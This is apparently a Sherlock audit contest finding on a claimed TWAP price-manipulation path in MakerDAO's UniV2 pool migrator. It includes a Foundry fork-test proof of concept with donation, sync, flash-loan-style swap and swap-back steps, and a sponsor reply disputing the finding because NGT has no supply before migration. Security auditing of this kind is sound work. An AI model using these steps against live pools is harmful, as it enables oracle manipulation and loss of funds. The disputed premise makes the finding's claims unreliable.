Random_dude - tampering NST-NGT TWAP price during migration

[sherlock-admin3]

Random_dude

High

tampering NST-NGT TWAP price during migration

Summary

The https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol only check if the uniswap V2 pair contract has a total supply of 0 or not, to continue the migration https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L50, and during this migration the uniswap v2 pair will record the price during initialization, its essentialy setting up the initial price, and when the next _update() call happened in the pair, it will record how long those price hold, and update the price0cummulative, and price1cummulative. these variable can be used by other contract or off-chain actor to get the TWAP price of an asset in a certain time-frame.

These steps are:

1. create a pair for these 2 assets
2. donate these 2 assets to the pair (this steps essentialy setting up the initial price of these assets)
3. call sync() in the pair contract
4. voila this pair has an initial price, while maintaining the total supply 0.

step 2 is the most important part

The problem is the UniV2PoolMigration contract didn't check whether or not the price0cummulative, and price1cummulative, of the pool is already initialize or not, or the reserve0 and reserve1 is empty or not, this makes other people can initialize the price for the assets with whatever they want, which make other contract or off-chain actor to get bad price data, especially during the initial migration process.

Since this is a new asset, most CEX probably will not provided the CEX oracle data, and the oracle will use the malicious TWAP price of the uniswap v2 pair instead, which can be attacked during migration. This will definitely has an effect for the whole ecosystem of maker, especially on the NST and NGT assets.

Root Cause

missing reserve0 and reserve1 check in the The https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol

Internal pre-conditions

A whale can trigger and tamper the TWAP price of the uniswap V2 Pair NGT-NST

External pre-conditions

a whale can trigger and tamper the TWAP price of the uniswap V2 Pair NGT-NST

Attack Path

1. A whale donated funds to the new NGT-NST pair contract
2. call sync() in the pair contract (this will set the initial price of an asset, without LP)
3. wait until the migration is called, the longer the better, because it means that price holds for more time, which means bringing down the price during migration.
4. FlashLoan some DAI from MCD_FLASH.
5. make a high slippage swap in the DAI_MKR pair
6. call init() in the UniV2PoolMigration.sol, which initialize the migration process.
7. change the MKR that we get from high slippage swap, to NGT
8. swap back to NST
9. change NST to DAI
10. payback the flashloan (zero fees in the MCD_FLASH)

Now if the some actor tries to calculate the TWAP price for some time after migration, this will give an incorrect TWAP price.

Impact

Wrong initial oracle price during migration.

PoC

I modified the Deployment.t.sol in the univ2-pool-migrator

pragma solidity ^0.8.16;

import "dss-test/DssTest.sol";

import { UniV2PoolMigratorInit } from "deploy/UniV2PoolMigratorInit.sol";
import { Twap } from "deploy/Twap.sol";

import { NstDeploy } from "lib/nst/deploy/NstDeploy.sol";
import { NstInit, NstInstance } from "lib/nst/deploy/NstInit.sol";
import { NgtDeploy } from "lib/ngt/deploy/NgtDeploy.sol";
import { NgtInit, NgtInstance } from "lib/ngt/deploy/NgtInit.sol";

interface ChainlogLike {
    function getAddress(bytes32) external view returns (address);
}

interface GemLike {
    function balanceOf(address) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function approve(address, uint256) external;
    function transfer(address, uint256)external;
}

interface UniV2FactoryLike {
    function createPair(address, address) external returns (address);
}

//Added for testing
interface UniV2Pair {
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function sync()external;
    function balanceOf(address) external view returns (uint256);
    function token0()external view returns(address);
    function token1()external view returns(address);
}

interface ITwap {
    function snapshot(address)external;
    function getTwap(address)external returns(uint256, uint256, uint256, uint256);
}

interface MkrNgtLike {
    function mkrToNgt(address, uint256) external;
}

contract DeploymentTest is DssTest {
    address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;
    address constant UNIV2_DAI_MKR_PAIR = 0x517F9dD285e75b599234F7221227339478d0FcC8;
    address constant UNIV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

    address PAUSE_PROXY;
    address DAI;
    address MKR;
    address NST;
    address NGT;
    address UNIV2_NST_NGT_PAIR;

    address random_dude;
    address mkrNgt;
    ITwap twap;

    function setUp() public {
        random_dude = makeAddr("random_dude");

        vm.createSelectFork(vm.envString("ETH_RPC_URL"));

        vm.rollFork(20461687); // to make testing consistent between before and after

        DssInstance memory dss = MCD.loadFromChainlog(LOG);

        PAUSE_PROXY = ChainlogLike(LOG).getAddress("MCD_PAUSE_PROXY");

        NstInstance memory nstInst = NstDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_JOIN_DAI"));
        // NgtInstance memory ngtInst = NgtDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_GOV"), 1200);
        NgtInstance memory ngtInst = NgtDeploy.deploy(address(this), PAUSE_PROXY, ChainlogLike(LOG).getAddress("MCD_GOV"), 2400);

        vm.startPrank(PAUSE_PROXY);
        NstInit.init(dss, nstInst);
        NgtInit.init(dss, ngtInst);
        vm.stopPrank();

        DAI = ChainlogLike(LOG).getAddress("MCD_DAI");
        MKR = ChainlogLike(LOG).getAddress("MCD_GOV");
        NST = ChainlogLike(LOG).getAddress("NST");
        NGT = ChainlogLike(LOG).getAddress("NGT");

        //added
        mkrNgt = ChainlogLike(LOG).getAddress("MKR_NGT");

        UNIV2_NST_NGT_PAIR = UniV2FactoryLike(UNIV2_FACTORY).createPair(NST, NGT);

        twap = ITwap(address(new Twap()));
    }

    function testSetUp() public {
        DssInstance memory dss = MCD.loadFromChainlog(LOG);

        //try tampering the uniswap Pair
        //tamperingTwap();

        //make high slippage swap
        //highSlippageSwap();

        vm.startPrank(PAUSE_PROXY);
        UniV2PoolMigratorInit.init(dss, UNIV2_DAI_MKR_PAIR, UNIV2_NST_NGT_PAIR);
        vm.stopPrank();

        //return the Swap
        //returnTheSwap();

        twap.snapshot(UNIV2_NST_NGT_PAIR);
        console.log("price0cummulative");
        console.log(UniV2Pair(UNIV2_NST_NGT_PAIR).price0CumulativeLast());
        console.log("price1cummulative");
        console.log(UniV2Pair(UNIV2_NST_NGT_PAIR).price1CumulativeLast());

        vm.warp(block.timestamp + 600);// 10 minute forward
        UniV2Pair(UNIV2_NST_NGT_PAIR).sync();

        console.log("Get TWAP");
        (uint256 price0Average, uint256 price1Average, uint256 price0PerWAD, uint256 price1PerWAD) = twap.getTwap(UNIV2_NST_NGT_PAIR);
        console.log(price0Average);
        console.log(price1Average);
        console.log(price0PerWAD);
        console.log(price1PerWAD);

    }

    function highSlippageSwap()internal {
        deal(DAI, random_dude, 100_000_000e18);
        uint256 amountIn = GemLike(DAI).balanceOf(random_dude);

        console.log(amountIn);

        (uint256 reserve0, uint256 reserve1,) = UniV2Pair(UNIV2_DAI_MKR_PAIR).getReserves();
        //dai token0, mkr teken1
        uint256 amount1Out = _getAmountOut(amountIn, reserve0, reserve1);

        vm.startPrank(random_dude);
        GemLike(DAI).transfer(UNIV2_DAI_MKR_PAIR, amountIn);
        UniV2Pair(UNIV2_DAI_MKR_PAIR).swap(0, amount1Out, random_dude, "");
        vm.stopPrank();

        console.log("MKR BALANCE");
        console.log(GemLike(MKR).balanceOf(random_dude));
    }

    function returnTheSwap()internal {
        uint256 mkrAmount = GemLike(MKR).balanceOf(random_dude);

        vm.startPrank(random_dude);
        GemLike(MKR).approve(mkrNgt, type(uint256).max);
        MkrNgtLike(mkrNgt).mkrToNgt(random_dude, mkrAmount);
        uint256 amountIn = GemLike(NGT).balanceOf(random_dude);
        vm.stopPrank();

        console.log("\namount In");
        console.log(amountIn);

        (uint256 reserve0, uint256 reserve1,) = UniV2Pair(UNIV2_NST_NGT_PAIR).getReserves();
        address token0 = UniV2Pair(UNIV2_NST_NGT_PAIR).token0();
        (uint256 reserveIn, uint256 reserveOut) =  token0 == NGT ? (reserve0, reserve1): (reserve1, reserve0);

        uint256 amountOut = _getAmountOut(amountIn, reserveIn, reserveOut);
        (uint256 amount0Out, uint256 amount1Out) = reserveIn == reserve0 ? (uint256(0), amountOut) :  (amountOut, uint256(0));

        vm.startPrank(random_dude);
        GemLike(NGT).transfer(UNIV2_NST_NGT_PAIR, amountIn);
        UniV2Pair(UNIV2_NST_NGT_PAIR).swap(amount0Out, amount1Out, random_dude, "");
        vm.stopPrank();

        console.log("NST BALANCE");
        console.log(GemLike(NST).balanceOf(random_dude));
    }

    function _getAmountOut(uint256 amtIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amtOut) {
        uint256 _amtInFee = amtIn * 997;
        amtOut = _amtInFee * reserveOut / (reserveIn * 1000 + _amtInFee);
    }

    function tamperingTwap()internal {
        deal(NST, random_dude, 10_000_000e18);
        deal(NGT, random_dude, 1);
        vm.startPrank(random_dude);
        GemLike(NST).transfer(UNIV2_NST_NGT_PAIR, 10_000_000e18);
        GemLike(NGT).transfer(UNIV2_NST_NGT_PAIR, 1);
        UniV2Pair(UNIV2_NST_NGT_PAIR).sync();
        vm.stopPrank();

        vm.warp(block.timestamp + 7 days);//we tamper the price 7 day before migration, the longer the better
    }
}

and i also make a simple twap contract to check the average price of an asset

pragma solidity >=0.8.0;

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function approve(address, uint256) external;
    function transfer(address, uint256) external;
}

interface IUniV2Pair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
}

library UQ112x112 {
    uint224 constant Q112 = 2**112;

    // encode a uint112 as a UQ112x112
    function encode(uint112 y) internal pure returns (uint224 z) {
        z = uint224(y) * Q112; // never overflows
    }

    // divide a UQ112x112 by a uint112, returning a UQ112x112
    function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
        z = x / uint224(y);
    }
}

contract Twap {
    using UQ112x112 for uint224;

    uint256 public snapshotPrice0Cummulative;
    uint256 public snapshotPrice1Cummulative;

    uint32 public lastSnapshotTime;

    function getTimeElapsed()internal view returns(uint32 t){
        unchecked {
            t = uint32(block.timestamp % 2**32) - lastSnapshotTime;
        }
    }

    function snapshot(address pair)public {
        (, , lastSnapshotTime) = IUniV2Pair(pair).getReserves();
        snapshotPrice0Cummulative =  IUniV2Pair(pair).price0CumulativeLast();
        snapshotPrice1Cummulative =  IUniV2Pair(pair).price1CumulativeLast();
    }

    function getTwap(address pair)public returns(uint256 price0, uint256 price1, uint256 price0PerWAD, uint256 price1PerWAD){
        uint32 timeElapsed = getTimeElapsed();

        uint8 resolution = 112;
        uint256 WAD = 1e18;

        uint256 recentPrice0 = IUniV2Pair(pair).price0CumulativeLast();
        uint256 recentPrice1 = IUniV2Pair(pair).price1CumulativeLast();

        unchecked {
            price0 = (recentPrice0 - snapshotPrice0Cummulative) / timeElapsed;
            price1 = (recentPrice1 - snapshotPrice1Cummulative) / timeElapsed;
            price0PerWAD = uint112((price0 * WAD) >> resolution);
            price1PerWAD = uint112((price1 * WAD) >> resolution);
        }
    }
}

In this POC the random_dude, does lose some funds during this attack, However, manipulating TWAP price usually cost a lot more on a pair that already stabilize.

Mitigation

add another check in the UniV2PoolMigratorInit.sol, before continuing with the migration.

require(GemLike(pairNstNgt).reserve0() == 0, "UniV2PoolMigratorInit reserve0 != 0");
require(GemLike(pairNstNgt).reserve1() == 0, "UniV2PoolMigratorInit reserve1 != 0");

[sunbreak1211]

This is clearly described in the scope: "The migration is supposed to run at the spell, where nst and ngt are init. Since until that point ngt is not in circulation the pool can not be deposited to, and hence its total supply would still be 0."

If there is not NGT supply, nothing can be donated.